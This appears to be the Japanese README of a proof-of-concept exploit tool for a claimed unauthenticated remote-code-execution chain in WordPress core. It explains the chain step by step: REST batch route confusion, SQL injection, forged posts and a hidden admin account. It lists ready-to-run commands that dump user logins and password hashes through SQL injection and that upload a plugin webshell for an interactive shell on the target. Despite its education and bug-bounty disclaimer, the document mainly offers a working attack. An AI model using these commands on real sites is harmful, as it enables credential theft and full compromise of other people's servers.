
CVE-2026-63030 & CVE-2026-60137 RCEチェーン実証コード
⚠ このツールは教育またはバグバウンティの目的のみで作成されています。管理された環境外での不正使用は固く禁止されています。
WordPress Coreに影響を与えるwp2shell脆弱性チェーン(CVE-2026-63030とCVE-2026-60137を組み合わせたもの)の概念実証です。本プロジェクトは、REST API Batchのルート混同脆弱性とWP_QueryのSQLインジェクションの相互作用を実証し、認証不要でWordPressを完全に侵害しリモートコード実行(RCE)に至る経路を示します。
完全なアドバイザリはこちらをお読みください
wp2shellは、WordPressコアにおける認証前RCEチェーンであり、CVE-2026-63030(batch RESTエンドポイントにおけるルート混同)とCVE-2026-60137(WP_QueryにおけるSQLインジェクション)を組み合わせたものです。
ルート混同: /wp-json/batch/v1は、位置でインデックス付けされた並列の$matches配列と$validation配列を介して複数のサブリクエストを処理します。不正なパス(例: http://:)を持つサブリクエストは、continue文により$validationには追加されますが$matchesには追加されず、配列の同期が崩れます。後続のリクエストは、リクエスト用のハンドラの下でディスパッチされ、スキーマ検証と権限チェックをバイパスします。
SQLインジェクション: 2つのネストされたbatch呼び出しがこれを悪用します。外側のbatchはメソッド許可リスト(通常GETをブロックする)をバイパスします。内側のbatchはスカラーのauthor_exclude文字列をGET /wp/v2/postsに渡します。同期のずれにより検証を回避してルーティングされ、WP_Queryがサニタイズされていない文字列を直接SQLに補間し、UNIONベースのブラインドインジェクションを可能にします。
キャッシュポイズニング: SQLiは偽造されたWP_Postオブジェクトを返し、WordPressはそれをメモリ内にキャッシュします。これらの偽の投稿には[embed]ショートコードが含まれており、WordPressが偽の参照から実際のoembed_cacheデータベース行を作成する原因となります。
チェンジセットエスカレーション: SQLiを使用して、攻撃者はJSON内に"user_id": 1を持つcustomize_changeset投稿をメモリ内に偽造します。サイクル検出ガジェットがpost_contentを上書きせずにwp_update_post()をトリガーし、攻撃者のペイロードを保持します。チェンジセットを適用すると、一時的に管理者の身元を引き受けます。
フック再入: ステータスparse、タイプrequestの偽造された投稿がparse_requestフックを発火させ、引き受けた管理者ロールでbatchリクエスト全体を再生します。今回はPOST /wp/v2/usersサブリクエストが成功し、新しい管理者アカウントが作成されます。
コード実行: 攻撃者は作成した管理者としてログインし、任意のコマンドを実行する悪意のあるプラグインをアップロードします。
| バージョン | ステータス |
|---|---|
| WordPress 6.9.0 – 6.9.4 | 脆弱 |
| WordPress 7.0.0 – 7.0.1 | 脆弱 |
| WordPress 6.9.5 | 修正済み |
| WordPress 7.0.2+ | 修正済み |
このPoCを使用するために必要なのはPython 3.8+のみです。
リポジトリのディレクトリから実行して脆弱性チェックを実行します:
wp2shell.py http://victim.com
単一の脆弱性チェックを実行します。SQLiペイロードを実行せずにルート混同バグを検出する、無害なbatchマーカープローブを送信します。脆弱なターゲットは、エラーパターンparse_path_failed、block_cannot_read、rest_batch_not_allowedを伴うHTTP 207を返します。
--confirm-sqliを使用すると、アクティブなSQLi確認ペイロードも送信します。確認はまずUNIONリフレクションを試み、次にタイミングベースのプローブにフォールバックします。
単一ターゲットのチェック(デフォルトモード)
wp2shell.py http://target.com
明示的なモードでのチェック
Check with explicit mode
wp2shell.py http://target.com --check
SQLi確認付きのチェック
wp2shell.py http://target.com --check --confirm-sqli
認証前SQLインジェクションを使用してデータベースからデータを抽出します。デフォルトでは--technique autoを使用し、利用可能なメソッドを次の順序で試します:
WP_Post行を偽造し、そのタイトルをRESTレスポンスから||HEX(value)||として読み戻します。値ごとに1リクエスト。最速。EXTRACTVALUE/UPDATEXMLを使用してリクエストあたり約15バイトを漏洩します。ターゲットがMySQLエラーを反映する場合(例: WP_DEBUG_DISPLAYがオン)に機能します。X-WP-Totalヘッダーを真/偽のシグナルとして読み取ります。データが反映されない場合でも機能します。--technique union|error|blindで特定のテクニックを強制します。これらの読み取りパスは読み取り専用であり、データベースに書き込みません。
サーバーフィンガープリント(デフォルトクエリ)
wp2shell.py http://target.com --read
ログイン情報とパスワードハッシュのダンプ
wp2shell.py http://target.com --read --preset users
カスタムSQLクエリ
wp2shell.py http://target.com --read --query "SELECT @@version"
blindテクニックの強制
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"
errorベーステクニックでの抽出
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"
ターゲットサーバー上でコマンドを実行します。2つのモードで動作します:
認証情報あり(既存の管理者としてログインし、プラグインシェルをアップロード):
特定のコマンドを実行
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id
インタラクティブシェル
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
Without credentials (pre-auth RCE - runs the full SQLi→admin bridge, logs in as generated admin, then uploads plugin shell):
単一コマンドを実行
wp2shell.py http://target.com --shell --cmd id
インタラクティブシェル
wp2shell.py http://target.com --shell --interactive
プラグインwebshellはランダムなパスと実行ごとのトークンでアップロードされます。アップロードされたwebshellは自動的に削除されます。認証前ブリッジが管理者を作成した場合、その生成されたアカウントはシェルセッション終了後に自動的に削除されます。
全フラグ一覧:
| フラグ | 説明 |
|---|---|
--check | 脆弱性チェックを実行(他のモードが指定されていない場合のデフォルトモード) |
--read | SQLインジェクションによるデータ抽出 |
--shell | サーバー上でコマンドを実行 |
--query | 読み取りモード用のカスタムSQLクエリ |
--preset | 定義済みクエリプリセット(users、config、versions) |
--technique | SQLi抽出テクニック: union、error、blind、またはauto(デフォルト) |
--confirm-sqli | チェック後にSQLi確認ペイロードを送信 |
--cmd | シェルモードで実行するコマンド(デフォルト: id) |
--interactive, -i | インタラクティブシェルモード |
--user | 認証済みシェル用の管理者ユーザー名 |
--password | 認証済みシェル用の管理者パスワード |
--proxy | HTTP/HTTPSプロキシ(例: http://127.0.0.1:8080) |
--timeout | リクエストタイムアウト(秒)(デフォルト: 30) |
--verbose, -v | 詳細出力 |
このツールは教育またはバグバウンティの目的のみで作成されています。管理された環境外での不正使用は固く禁止されています。